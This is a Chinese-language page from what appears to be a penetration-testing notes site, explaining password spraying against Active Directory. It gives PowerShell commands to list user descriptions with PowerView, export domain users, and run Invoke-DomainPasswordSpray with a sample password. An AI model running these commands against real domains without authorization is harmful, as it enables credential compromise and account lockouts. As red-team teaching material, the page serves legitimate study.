> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/acl-security-descriptors-and-permissions/password-spraying.md).
# 密码喷洒
#### 1. 原理
密码喷洒是指在多个用户账户上测试同一个密码。
与经典的暴力破解攻击不同，后者会在单个用户上测试许多密码，而密码喷洒通常是在许多用户上测试少量密码。
该技术用于识别使用相同密码的账户。
#### 2. 真实环境中的注意事项
在真实环境中，这种技术必须非常谨慎地使用。
重复的身份验证尝试可能导致：
* 账户锁定；
* 安全警报；
* 被 EDR、SIEM 或 SOC 团队检测到；
* 对用户造成运营影响。
#### 3. 列出用户描述
在启动密码喷洒之前，查看用户账户描述可能会很有用。
某些描述可能包含敏感信息，有时甚至是误留下的密码。
PowerView 命令：
{% code overflow="wrap" %}
```powershell
Get-NetUser | select name,description
```
{% endcode %}
#### 4. 加载 DomainPasswordSpray
{% embed url="" %}
{% code overflow="wrap" %}
```powershell
. ./DomainPasswordSpray.ps1
```
{% endcode %}
#### 5. 创建用户列表
我们将域用户列表提取到一个文本文件中：
{% code overflow="wrap" %}
```powershell
Get-NetUser | Select-Object -ExpandProperty name | Out-File C:/Users/user1/Desktop/users.txt
```
{% endcode %}
#### 6. 启动密码喷洒
然后我们使用所选密码启动密码喷洒：
{% code overflow="wrap" %}
```powershell
Invoke-DomainPasswordSpray -UserList ./users.txt -Password "Password1@" -Verbose
```
{% endcode %}
该命令会在 `Password1@` 密码上对位于 `users.txt` 文件中的用户进行测试。
如果某些账户使用该密码，该工具会将它们显示为成功身份验证。
---
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